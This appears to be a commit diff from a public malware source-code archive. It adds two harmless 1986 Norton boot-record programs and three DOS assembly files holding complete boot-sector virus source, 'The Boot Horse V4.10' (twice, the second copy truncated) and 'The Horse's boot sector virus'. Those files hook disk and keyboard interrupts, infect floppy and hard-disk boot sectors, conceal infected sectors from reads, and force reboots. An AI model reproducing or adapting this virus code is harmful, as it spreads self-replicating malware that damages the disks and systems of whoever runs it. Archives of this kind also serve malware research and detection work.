mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 07:19:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,116 @@
|
||||
; Boot Record Program (C) Copyright Peter Norton 1986
|
||||
; From PC Magazine ca. January 1986
|
||||
|
||||
boots segment 'code'
|
||||
|
||||
public boot
|
||||
|
||||
assume cs:boots
|
||||
|
||||
boot proc far
|
||||
|
||||
; 30-byte DOS info -- set up for 2-sides, 9-sector
|
||||
; change as needed for any other format
|
||||
|
||||
head:
|
||||
jmp begin ; EB 2A 90 as per normal
|
||||
db ' DE 1.0 ' ; 8-byte system id
|
||||
dw 512 ; sector size in bytes
|
||||
db 2 ; sectors per cluster
|
||||
dw 1 ; reserved clusters
|
||||
db 2 ; number of fats
|
||||
dw 112 ; root directory entries
|
||||
dw 760 ; total sectors
|
||||
db 0FDh ; format id
|
||||
dw 2 ; sectors per fat
|
||||
dw 9 ; sectors per track
|
||||
dw 2 ; sides
|
||||
dw 0 ; special hidden sectors
|
||||
|
||||
; mysterious but apparently standard 14-byte filler
|
||||
db 14 dup (0)
|
||||
|
||||
; carry on with the boot work
|
||||
|
||||
begin:
|
||||
mov ax,07C0h ; boot record location
|
||||
push ax
|
||||
pop ds
|
||||
mov bx,message_offset ; put offset to message into si
|
||||
mov cx,message_length ; message length from cx
|
||||
continue:
|
||||
mov ah,14 ; write teletype
|
||||
mov al,[bx]
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
int 10h
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
inc bx
|
||||
loop continue
|
||||
|
||||
mov ah,0 ; read next keyboard character
|
||||
int 16h
|
||||
|
||||
mov ah,15 ; get video mode
|
||||
int 10h
|
||||
mov ah,0 ; set video mode (clears screen)
|
||||
int 10h
|
||||
|
||||
int 19h ; re-boot
|
||||
|
||||
beg_message:
|
||||
db 0Dh,0Ah ; carriage return, line-feed
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' Start your computer with'
|
||||
db 0Dh,0Ah
|
||||
db ' a DOS system diskette.'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' This is'
|
||||
db 0Dh,0Ah
|
||||
db ' The Norton Utilities'
|
||||
db 0Dh,0Ah
|
||||
db ' Version 3.0'
|
||||
db 0Dh,0Ah
|
||||
db ' from'
|
||||
db 0Dh,0Ah
|
||||
db ' Peter Norton'
|
||||
db 0Dh,0Ah
|
||||
db ' 2210 Wilshire Blvd'
|
||||
db 0Dh,0Ah
|
||||
db ' Santa Monica, CA 90403'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' (213) 826-8092'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' Insert a DOS diskette'
|
||||
db 0Dh,0Ah
|
||||
db ' Press any key to start DOS ... '
|
||||
end_message:
|
||||
|
||||
; I put a copyright notice here; you do if you want to ...
|
||||
tail:
|
||||
|
||||
message_offset equ beg_message - head
|
||||
message_length equ end_message - beg_message
|
||||
filler_amount equ 512 - (tail - head) - 2
|
||||
|
||||
db filler_amount dup (0) ; filler
|
||||
|
||||
db 055h,0AAh ; boot id
|
||||
|
||||
boot endp
|
||||
|
||||
boots ends
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
; Boot Record Program (C) Copyright Peter Norton 1986
|
||||
|
||||
boots segment 'code'
|
||||
|
||||
public boot
|
||||
|
||||
assume cs:boots
|
||||
|
||||
boot proc far
|
||||
|
||||
; 30-byte DOS info -- set up for 1-side, 8-sector
|
||||
; change as needed for any other format
|
||||
|
||||
head:
|
||||
jmp begin ; EB 2A 90 as per normal
|
||||
db ' Norton ' ; 8-byte system id
|
||||
dw 512 ; sector size in bytes
|
||||
db 1 ; sectors per cluster
|
||||
dw 1 ; reserved clusters
|
||||
db 2 ; number of fats
|
||||
dw 64 ; root directory entries
|
||||
dw 320 ; total sectors
|
||||
db 0FEh ; format id
|
||||
dw 1 ; sectors per fat
|
||||
dw 8 ; sectors per track
|
||||
dw 1 ; sides
|
||||
dw 0 ; special hidden sectors
|
||||
|
||||
; mysterious but apparently standard 14-byte filler
|
||||
db 14 dup (0)
|
||||
|
||||
; carry on with the boot work
|
||||
|
||||
begin:
|
||||
mov ax,07C0h ; boot record location
|
||||
push ax
|
||||
pop ds
|
||||
mov bx,message_offset ; put offset to message into si
|
||||
mov cx,message_length ; message length from cx
|
||||
continue:
|
||||
mov ah,14 ; write teletype
|
||||
mov al,[bx]
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
int 10h
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
inc bx
|
||||
loop continue
|
||||
|
||||
mov ah,0 ; read next keyboard character
|
||||
int 16h
|
||||
|
||||
mov ah,15 ; get video mode
|
||||
int 10h
|
||||
mov ah,0 ; set video mode (clears screen)
|
||||
int 10h
|
||||
|
||||
int 19h ; re-boot
|
||||
|
||||
beg_message:
|
||||
db 0Dh,0Ah ; carriage return, line-feed
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' Start your computer with'
|
||||
db 0Dh,0Ah
|
||||
db ' a DOS system diskette.'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' This is'
|
||||
db 0Dh,0Ah
|
||||
db ' The Norton Utilities'
|
||||
db 0Dh,0Ah
|
||||
db ' Version 3.0'
|
||||
db 0Dh,0Ah
|
||||
db ' from'
|
||||
db 0Dh,0Ah
|
||||
db ' Peter Norton'
|
||||
db 0Dh,0Ah
|
||||
db ' 2210 Wilshire Blvd'
|
||||
db 0Dh,0Ah
|
||||
db ' Santa Monica, CA 90403'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' (213) 826-8092'
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db ' Insert a DOS diskette'
|
||||
db 0Dh,0Ah
|
||||
db ' Press any key to start DOS ... '
|
||||
end_message:
|
||||
|
||||
; I put a copyright notice here; you do if you want to ...
|
||||
tail:
|
||||
|
||||
message_offset equ beg_message - head
|
||||
message_length equ end_message - beg_message
|
||||
filler_amount equ 512 - (tail - head) - 2
|
||||
|
||||
db filler_amount dup (0) ; filler
|
||||
|
||||
db 055h,0AAh ; boot id
|
||||
|
||||
boot endp
|
||||
|
||||
boots ends
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
.radix 16
|
||||
;******************************************
|
||||
; *
|
||||
; Code masters LTD. presents: *
|
||||
; THE BOOT HORSE V4.10 *
|
||||
; Finished on the 25.04.1991. *
|
||||
; This is a boot virus,which does not *
|
||||
; "cuts" memory.It places itself into the *
|
||||
; second part of the interrupt table.If *
|
||||
; it is resident you will not be able to *
|
||||
; see the infected boot sector.If you *
|
||||
; press CTRL-ALT-DEL & INT 13h had not *
|
||||
; been changed,drive A: will be infected. *
|
||||
; It shows you the message 'Brr...!' with *
|
||||
; possibility 1/16. *
|
||||
; Good luck! *
|
||||
;******************************************
|
||||
Start:
|
||||
cld ;clear direction
|
||||
xor ax,ax ;clear ax
|
||||
mov bp,7c00 ;bp=7c00
|
||||
mov ds,ax ;ds=ax=0
|
||||
mov ss,ax ;ss=ax=0
|
||||
mov sp,bp ;sp=bp=7c00
|
||||
push ax ;save abs. addr. 0000:7c00 in stack for retf
|
||||
push bp ;
|
||||
xor di,di ;clear di
|
||||
les bx,[di+9*4] ;load es:bx with current int 09h
|
||||
mov word ptr [bp+old9h-Start],bx ;save it in a variable
|
||||
mov word ptr [bp+old9h-Start+2],es
|
||||
les bx,[di+13*4] ;load es:bx with current int 13h
|
||||
mov word ptr [bp+old13h-Start],bx ;save it in a variable
|
||||
mov word ptr [bp+old13h-Start+2],es
|
||||
mov ax,0020 ;ax=20
|
||||
mov [di+9*4],offset int9h-Start ;set int 09h
|
||||
mov [di+9*4+2],ax
|
||||
mov [di+13*4],offset int13h-Start ;set int 13h
|
||||
mov [di+13*4+2],ax
|
||||
mov es,ax ;es=ax=20
|
||||
mov cx,0200 ;will move 512 bytes
|
||||
mov si,bp ;si=bp=7c00
|
||||
rep movsb ;move to 0020:0000 (vectors)
|
||||
push es ;save es&ax for retf
|
||||
mov ax,offset here-Start
|
||||
push ax
|
||||
retf ;go to 0020:here-Start
|
||||
here:
|
||||
test byte ptr [046C],0F ;show a message with possibility 1/16
|
||||
jnz dont
|
||||
mov si,offset msg-Start ;si point the message
|
||||
mov cx,endmsg-msg ;strings to show
|
||||
show_it:
|
||||
db 26 ;ES:lodsb
|
||||
lodsb ;load next char
|
||||
mov ah,0e ;show char
|
||||
xor bh,bh
|
||||
int 10 ;do it
|
||||
loop show_it ;show next
|
||||
dont:
|
||||
xor ah,ah ;initialize
|
||||
int 13
|
||||
mov es,cx ;es=cx=0
|
||||
xchg ax,di
|
||||
inc ax ;ax=201 =>read one sector.
|
||||
mov bx,bp ;bx=bp=7c00
|
||||
inc cx ;sector 1,cylinder 0.boot sector
|
||||
mov dx,0080 ;dx=0080
|
||||
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
|
||||
je hard
|
||||
push dx ;save dx
|
||||
xor dl,dl ;drive A:
|
||||
push ax ;save ax
|
||||
int 13 ;read old bootsector from diskette
|
||||
pop ax ;restore ax=201,read one sector
|
||||
pop dx ;drive C:
|
||||
mov bx,0600 ;bx=600
|
||||
call ojoj ;read hdd's boot sector
|
||||
jc goout ;no hdd installed
|
||||
call check ;infected?
|
||||
je goout ;yes ->out!
|
||||
mov ax,0301 ;write one sector (save old)
|
||||
push ax ;save ax
|
||||
mov cx,0004 ;sector 4,cylinder 0
|
||||
int 13 ;do it
|
||||
mov byte ptr cs:[ident-Start],dl ;set identificator
|
||||
push cs ;es=cs
|
||||
pop es
|
||||
mov si,07BE ;
|
||||
mov di,01BE ; copy old partition
|
||||
mov cx,64d ;
|
||||
rep movsb ;
|
||||
pop ax ;Write one sector,ax=301
|
||||
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
|
||||
inc cx ;sector 1,cylinder 0.Boot sector.
|
||||
hard:
|
||||
int 13 ;do it
|
||||
goout:
|
||||
mov byte ptr cs:[ident-Start],0 ;set ident
|
||||
retf ;go to 0000:7c00
|
||||
int13h:
|
||||
;save ax,ds
|
||||
push ax
|
||||
push ds
|
||||
cmp ah,02 ;function read?
|
||||
jne skip
|
||||
cmp dl,80 ;drive A,B or C?
|
||||
ja skip
|
||||
cmp cx,0001 ;
|
||||
jne notboot ;gonna read bootsector?
|
||||
or dh,dh ;
|
||||
jnz notboot ;
|
||||
pop ds ;restore ax,ds
|
||||
pop ax
|
||||
call ojoj ;execute the task
|
||||
jc all ;if error then no sence
|
||||
pushf ;save some registers
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
call check ;infected?
|
||||
jne notnow
|
||||
mov ax,0201
|
||||
inc cx ;if so then make some tricks
|
||||
inc cx ;sector 3,cylinder 0
|
||||
inc dh ;side 1
|
||||
test dl,80 ;hdd?
|
||||
je dolie ;if not then
|
||||
inc cx ;sector 4,cylinder 0
|
||||
dec dh ;side 0
|
||||
dolie:
|
||||
call ojoj ;read boot
|
||||
notnow:
|
||||
pop dx ;restore registers
|
||||
pop cx
|
||||
pop ax
|
||||
popf
|
||||
all:
|
||||
; retf 0002 ;return to caller
|
||||
db 0ca,2,0
|
||||
notboot:
|
||||
test dl,80 ;drive=C?
|
||||
jne skip ;if so =>out!
|
||||
xor ax,ax ;clear ax
|
||||
mov ds,ax ;ds=ax=0
|
||||
mov al,byte ptr [043F] ;this byte shows whether the motor is active
|
||||
push dx ;save dx
|
||||
inc dl ;adjust dl
|
||||
test al,dl ;check if the motor is active.
|
||||
pop dx ;restore dx
|
||||
jnz skip ;if so =>leave
|
||||
call infect ;infect it
|
||||
skip:
|
||||
pop ds ;restore flags,ax,ds
|
||||
pop ax
|
||||
do:
|
||||
db 0EAh ;go to the original int 13h
|
||||
old13h dd 000h ;JMP XXXX:XXXX
|
||||
infect:
|
||||
push bx ;save some registers
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
mov ax,0201 ;will read 1 sector
|
||||
mov cx,0001 ;sector 1,cylinder 0
|
||||
xor dh,dh ;side 0
|
||||
call ojoj ;do it
|
||||
jc leave ;on error...
|
||||
mov byte ptr cs:[count-Start],36d ;load counter
|
||||
call check ;infected?
|
||||
je leave ;leave if so.
|
||||
mov ax,0301 ;write one sector
|
||||
inc cx ;sector 3,cylinder 0
|
||||
inc cx
|
||||
inc dh ;side 1
|
||||
push ax ;save ax
|
||||
call ojoj ;do write (save old bootsector)
|
||||
pop ax ;restore ax
|
||||
jc leave ;write protected
|
||||
push cs ;es=cs
|
||||
pop es
|
||||
xor bx,bx ;write virus
|
||||
dec cx ;make cx=1
|
||||
dec cx ;sector 1,cylinder 0
|
||||
dec dh ;side 0
|
||||
call ojoj ;that's it!
|
||||
leave:
|
||||
pop es ;restore registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
ret ;return
|
||||
ojoj:
|
||||
pushf ;this calles the original int 13h
|
||||
push cs
|
||||
call do
|
||||
ret
|
||||
check:
|
||||
cmp es:[bx],31FCh ;this checks the first 2 bytes
|
||||
ret ;to understand if the disk is infected
|
||||
int9h:
|
||||
push ax ;the keybord interrupt.save AX
|
||||
mov ah,02 ;check if ctrl-alt is pressed
|
||||
int 16 ;
|
||||
test al,00001100b ;if not =>exit
|
||||
jz exit
|
||||
in al,60 ;is del pressed?
|
||||
cmp al,53
|
||||
je cont ;if so...
|
||||
exit:
|
||||
pop ax ;restore ax
|
||||
db 0EAh ;go to the old int 09h
|
||||
old9h dd 000h ;JMP XXXX:XXXX
|
||||
cont:
|
||||
mov al,20 ;free interrupts
|
||||
out 20,al ;do it
|
||||
mov ax,0003 ;clear screen
|
||||
int 10 ;do it
|
||||
mov dx,03D8 ;chose video port
|
||||
mov al,04 ;video flag
|
||||
out dx,al ;no video
|
||||
mov ax,0060 ;es=60
|
||||
mov es,ax ;
|
||||
xor bx,bx ;drive A
|
||||
xor dl,dl ;bx=0
|
||||
mov ds,bx ;dx=bx=0
|
||||
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
|
||||
cli ;set int 1ch
|
||||
mov [bx+1c*4],offset int1ch-Start
|
||||
mov [bx+1c*4+2],cs
|
||||
sti
|
||||
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
|
||||
jne reset ;if so reset computer
|
||||
call infect ;infect disk in drive A
|
||||
reset:
|
||||
xor bx,bx
|
||||
mov ds,bx ;don't count memory !
|
||||
mov [bx+0472],1234
|
||||
; JMP FFFF:0000 ;Reset
|
||||
db 0ea,00,00,0ff,0ff
|
||||
int1ch:
|
||||
dec byte ptr cs:[count-Start] ;decrease counter
|
||||
jz reset ;if zero then reset
|
||||
iret ;otherwise continue
|
||||
msg db 'Brr...!',7,0a,0dh, ;message
|
||||
endmsg label word
|
||||
ident db 0 ;0 for fdd,80 for hdd
|
||||
count label byte
|
||||
partition db 64d dup (?)
|
||||
bootident dw 0AA55
|
||||
endcode label word
|
||||
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
;
|
||||
; The Horse's boot sector virus
|
||||
; This is an author's source
|
||||
;
|
||||
|
||||
|
||||
|
||||
.radix 16
|
||||
begin:
|
||||
jmp start
|
||||
|
||||
my label word
|
||||
|
||||
db 'IBM 3.3'
|
||||
dw 200
|
||||
db 2
|
||||
dw 1
|
||||
db 2
|
||||
dw 70
|
||||
dw 2d0
|
||||
db 0fdh
|
||||
dw 2
|
||||
dw 9
|
||||
dw 2
|
||||
dw 0
|
||||
|
||||
lee label word
|
||||
|
||||
virlen equ offset endcode-begin
|
||||
|
||||
start:
|
||||
cld
|
||||
sub ax,ax
|
||||
mov ds,ax
|
||||
mov bp,7c00
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,bp
|
||||
sti
|
||||
push ax
|
||||
push bp
|
||||
mov ax,[413]
|
||||
push [13*4+2]
|
||||
push [13*4]
|
||||
pop word ptr [old13h+7c00-100]
|
||||
pop word ptr [old13h+7c00-100+2]
|
||||
dec ax
|
||||
mov [413],ax
|
||||
mov cl,6
|
||||
shl ax,cl
|
||||
mov es,ax
|
||||
|
||||
mov [13*4],offset int13h-100
|
||||
mov [13*4+2],es
|
||||
|
||||
mov cx,virlen
|
||||
sub di,di
|
||||
mov si,bp
|
||||
rep movsb
|
||||
push es
|
||||
mov ax,offset here-begin
|
||||
push ax
|
||||
retf
|
||||
here:
|
||||
sub ax,ax
|
||||
mov es,ax
|
||||
int 13
|
||||
mov ax,0201
|
||||
mov bx,bp
|
||||
cmp byte ptr cs:[ident-100],0fdh
|
||||
je from_disk
|
||||
mov cx,0007
|
||||
mov dx,0080
|
||||
int 13
|
||||
jmp exit
|
||||
|
||||
from_disk:
|
||||
|
||||
mov cx,2709
|
||||
mov dx,0100
|
||||
int 13
|
||||
jc exit
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
mov ax,0201
|
||||
mov bx,0200
|
||||
mov cx,0001
|
||||
mov dx,0080
|
||||
int 13
|
||||
jc exit
|
||||
call inf?
|
||||
je exit
|
||||
mov byte ptr [ident-100],0f8
|
||||
mov ax,0301
|
||||
mov bx,0200
|
||||
mov cx,0007
|
||||
mov dx,0080
|
||||
int 13
|
||||
jc exit
|
||||
call move
|
||||
mov ax,0301
|
||||
sub bx,bx
|
||||
mov cx,0001
|
||||
int 13
|
||||
exit:
|
||||
mov byte ptr cs:[ident-100],0fdh
|
||||
retf
|
||||
int13h:
|
||||
push ds
|
||||
push ax
|
||||
cmp dl,1
|
||||
ja skip
|
||||
cmp ah,2
|
||||
jb skip
|
||||
cmp ah,3
|
||||
ja skip
|
||||
sub ax,ax
|
||||
mov ds,ax
|
||||
mov al,[43f]
|
||||
push dx
|
||||
and ax,3
|
||||
and dx,3
|
||||
inc dl
|
||||
test al,dl
|
||||
pop dx
|
||||
jne skip
|
||||
call infect
|
||||
skip:
|
||||
pop ax
|
||||
pop ds
|
||||
do:
|
||||
jmp dword ptr cs:[old13h-100]
|
||||
|
||||
infected?:
|
||||
|
||||
sub ax,ax
|
||||
call ojoj
|
||||
mov ax,0201
|
||||
mov bx,0200
|
||||
mov cx,0001
|
||||
sub dh,dh
|
||||
call ojoj
|
||||
inf?:
|
||||
mov si,offset start-100
|
||||
mov di,offset start-100+200
|
||||
mov cx,mbyte-start
|
||||
rep cmpsb
|
||||
return:
|
||||
ret
|
||||
infect:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
cld
|
||||
call infected?
|
||||
je leave
|
||||
mov ax,0301
|
||||
mov bx,0200
|
||||
mov cx,2709
|
||||
mov dh,1
|
||||
call ojoj
|
||||
jc leave
|
||||
call move
|
||||
mov ax,0301
|
||||
sub bx,bx
|
||||
mov cx,0001
|
||||
sub dh,dh
|
||||
call ojoj
|
||||
leave:
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
ret
|
||||
|
||||
ojoj:
|
||||
pushf
|
||||
push cs
|
||||
call do
|
||||
ret
|
||||
move:
|
||||
mov di,offset my-100
|
||||
mov si,offset my-100+200
|
||||
mov cx,lee-my
|
||||
rep movsb
|
||||
mov di,offset usm-100
|
||||
mov si,offset usm-100+200
|
||||
mov cx,endcode-usm
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
|
||||
mbyte label word
|
||||
|
||||
old13h dd ?
|
||||
ident db 0fdh
|
||||
|
||||
usm label word
|
||||
|
||||
db 135d dup (?)
|
||||
|
||||
db 55,0AA
|
||||
|
||||
endcode label word
|
||||
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
.radix 16
|
||||
;******************************************
|
||||
; *
|
||||
; Code masters LTD. presents: *
|
||||
; THE BOOT HORSE V4.10 *
|
||||
; Finished on the 25.04.1991. *
|
||||
; This is a boot virus,which does not *
|
||||
; "cuts" memory.It places itself into the *
|
||||
; second part of the interrupt table.If *
|
||||
; it is resident you will not be able to *
|
||||
; see the infected boot sector.If you *
|
||||
; press CTRL-ALT-DEL & INT 13h had not *
|
||||
; been changed,drive A: will be infected. *
|
||||
; It shows you the message 'Brr...!' with *
|
||||
; possibility 1/16. *
|
||||
; Good luck! *
|
||||
;******************************************
|
||||
Start:
|
||||
cld ;clear direction
|
||||
xor ax,ax ;clear ax
|
||||
mov bp,7c00 ;bp=7c00
|
||||
mov ds,ax ;ds=ax=0
|
||||
mov ss,ax ;ss=ax=0
|
||||
mov sp,bp ;sp=bp=7c00
|
||||
push ax ;save abs. addr. 0000:7c00 in stack for retf
|
||||
push bp ;
|
||||
xor di,di ;clear di
|
||||
les bx,[di+9*4] ;load es:bx with current int 09h
|
||||
mov word ptr [bp+old9h-Start],bx ;save it in a variable
|
||||
mov word ptr [bp+old9h-Start+2],es
|
||||
les bx,[di+13*4] ;load es:bx with current int 13h
|
||||
mov word ptr [bp+old13h-Start],bx ;save it in a variable
|
||||
mov word ptr [bp+old13h-Start+2],es
|
||||
mov ax,0020 ;ax=20
|
||||
mov [di+9*4],offset int9h-Start ;set int 09h
|
||||
mov [di+9*4+2],ax
|
||||
mov [di+13*4],offset int13h-Start ;set int 13h
|
||||
mov [di+13*4+2],ax
|
||||
mov es,ax ;es=ax=20
|
||||
mov cx,0200 ;will move 512 bytes
|
||||
mov si,bp ;si=bp=7c00
|
||||
rep movsb ;move to 0020:0000 (vectors)
|
||||
push es ;save es&ax for retf
|
||||
mov ax,offset here-Start
|
||||
push ax
|
||||
retf ;go to 0020:here-Start
|
||||
here:
|
||||
test byte ptr [046C],0F ;show a message with possibility 1/16
|
||||
jnz dont
|
||||
mov si,offset msg-Start ;si point the message
|
||||
mov cx,endmsg-msg ;strings to show
|
||||
show_it:
|
||||
db 26 ;ES:lodsb
|
||||
lodsb ;load next char
|
||||
mov ah,0e ;show char
|
||||
xor bh,bh
|
||||
int 10 ;do it
|
||||
loop show_it ;show next
|
||||
dont:
|
||||
xor ah,ah ;initialize
|
||||
int 13
|
||||
mov es,cx ;es=cx=0
|
||||
xchg ax,di
|
||||
inc ax ;ax=201 =>read one sector.
|
||||
mov bx,bp ;bx=bp=7c00
|
||||
inc cx ;sector 1,cylinder 0.boot sector
|
||||
mov dx,0080 ;dx=0080
|
||||
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
|
||||
je hard
|
||||
push dx ;save dx
|
||||
xor dl,dl ;drive A:
|
||||
push ax ;save ax
|
||||
int 13 ;read old bootsector from diskette
|
||||
pop ax ;restore ax=201,read one sector
|
||||
pop dx ;drive C:
|
||||
mov bx,0600 ;bx=600
|
||||
call ojoj ;read hdd's boot sector
|
||||
jc goout ;no hdd installed
|
||||
call check ;infected?
|
||||
je goout ;yes ->out!
|
||||
mov ax,0301 ;write one sector (save old)
|
||||
push ax ;save ax
|
||||
mov cx,0004 ;sector 4,cylinder 0
|
||||
int 13 ;do it
|
||||
mov byte ptr cs:[ident-Start],dl ;set identificator
|
||||
push cs ;es=cs
|
||||
pop es
|
||||
mov si,07BE ;
|
||||
mov di,01BE ; copy old partition
|
||||
mov cx,64d ;
|
||||
rep movsb ;
|
||||
pop ax ;Write one sector,ax=301
|
||||
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
|
||||
inc cx ;sector 1,cylinder 0.Boot sector.
|
||||
hard:
|
||||
int 13 ;do it
|
||||
goout:
|
||||
mov byte ptr cs:[ident-Start],0 ;set ident
|
||||
retf ;go to 0000:7c00
|
||||
int13h:
|
||||
;save ax,ds
|
||||
push ax
|
||||
push ds
|
||||
cmp ah,02 ;function read?
|
||||
jne skip
|
||||
cmp dl,80 ;drive A,B or C?
|
||||
ja skip
|
||||
cmp cx,0001 ;
|
||||
jne notboot ;gonna read bootsector?
|
||||
or dh,dh ;
|
||||
jnz notboot ;
|
||||
pop ds ;restore ax,ds
|
||||
pop ax
|
||||
call ojoj ;execute the task
|
||||
jc all ;if error then no sence
|
||||
pushf ;save some registers
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
call check ;infected?
|
||||
jne notnow
|
||||
mov ax,0201
|
||||
inc cx ;if so then make some tricks
|
||||
inc cx ;sector 3,cylinder 0
|
||||
inc dh ;side 1
|
||||
test dl,80 ;hdd?
|
||||
je dolie ;if not then
|
||||
inc cx ;sector 4,cylinder 0
|
||||
dec dh ;side 0
|
||||
dolie:
|
||||
call ojoj ;read boot
|
||||
notnow:
|
||||
pop dx ;restore registers
|
||||
pop cx
|
||||
pop ax
|
||||
popf
|
||||
all:
|
||||
; retf 0002 ;return to caller
|
||||
db 0ca,2,0
|
||||
notboot:
|
||||
test dl,80 ;drive=C?
|
||||
jne skip ;if so =>out!
|
||||
xor ax,ax ;clear ax
|
||||
mov ds,ax ;ds=ax=0
|
||||
mov al,byte ptr [043F] ;this byte shows whether the motor is active
|
||||
push dx ;save dx
|
||||
inc dl ;adjust dl
|
||||
test al,dl ;check if the motor is active.
|
||||
pop dx ;restore dx
|
||||
jnz skip ;if so =>leave
|
||||
call infect ;infect it
|
||||
skip:
|
||||
pop ds ;restore flags,ax,ds
|
||||
pop ax
|
||||
do:
|
||||
db 0EAh ;go to the original int 13h
|
||||
old13h dd 000h ;JMP XXXX:XXXX
|
||||
infect:
|
||||
push bx ;save some registers
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
mov ax,0201 ;will read 1 sector
|
||||
mov cx,0001 ;sector 1,cylinder 0
|
||||
xor dh,dh ;side 0
|
||||
call ojoj ;do it
|
||||
jc leave ;on error...
|
||||
mov byte ptr cs:[count-Start],36d ;load counter
|
||||
call check ;infected?
|
||||
je leave ;leave if so.
|
||||
mov ax,0301 ;write one sector
|
||||
inc cx ;sector 3,cylinder 0
|
||||
inc cx
|
||||
inc dh ;side 1
|
||||
push ax ;save ax
|
||||
call ojoj ;do write (save old bootsector)
|
||||
pop ax ;restore ax
|
||||
jc leave ;write protected
|
||||
push cs ;es=cs
|
||||
pop es
|
||||
xor bx,bx ;write virus
|
||||
dec cx ;make cx=1
|
||||
dec cx ;sector 1,cylinder 0
|
||||
dec dh ;side 0
|
||||
call ojoj ;that's it!
|
||||
leave:
|
||||
pop es ;restore registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
ret ;return
|
||||
ojoj:
|
||||
pushf ;this calles the original int 13h
|
||||
push cs
|
||||
call do
|
||||
ret
|
||||
check:
|
||||
cmp es:[bx],31FCh ;this checks the first 2 bytes
|
||||
ret ;to understand if the disk is infected
|
||||
int9h:
|
||||
push ax ;the keybord interrupt.save AX
|
||||
mov ah,02 ;check if ctrl-alt is pressed
|
||||
int 16 ;
|
||||
test al,00001100b ;if not =>exit
|
||||
jz exit
|
||||
in al,60 ;is del pressed?
|
||||
cmp al,53
|
||||
je cont ;if so...
|
||||
exit:
|
||||
pop ax ;restore ax
|
||||
db 0EAh ;go to the old int 09h
|
||||
old9h dd 000h ;JMP XXXX:XXXX
|
||||
cont:
|
||||
mov al,20 ;free interrupts
|
||||
out 20,al ;do it
|
||||
mov ax,0003 ;clear screen
|
||||
int 10 ;do it
|
||||
mov dx,03D8 ;chose video port
|
||||
mov al,04 ;video flag
|
||||
out dx,al ;no video
|
||||
mov ax,0060 ;es=60
|
||||
mov es,ax ;
|
||||
xor bx,bx ;drive A
|
||||
xor dl,dl ;bx=0
|
||||
mov ds,bx ;dx=bx=0
|
||||
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
|
||||
cli ;set int 1ch
|
||||
mov [bx+1c*4],offset int1ch-Start
|
||||
mov [bx+1c*4+2],cs
|
||||
sti
|
||||
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
|
||||
jne reset ;if so reset computer
|
||||
call infect ;infect disk in drive A
|
||||
reset:
|
||||
xor bx,bx
|
||||
mov ds,bx ;don't count memory !
|
||||
mov [bx+0472],1234
|
||||
; JMP FFFF:0000 ;Reset
|
||||
db 0ea,00,00,0ff,0ff
|
||||
int1ch:
|
||||
dec byte ptr cs:[count-Start] ;decrease counter
|
||||
jz reset ;if zero then reset
|
||||
iret ;otherwise continue
|
||||
msg db 'Brr...!',7,0a,0dh, ;message
|
||||
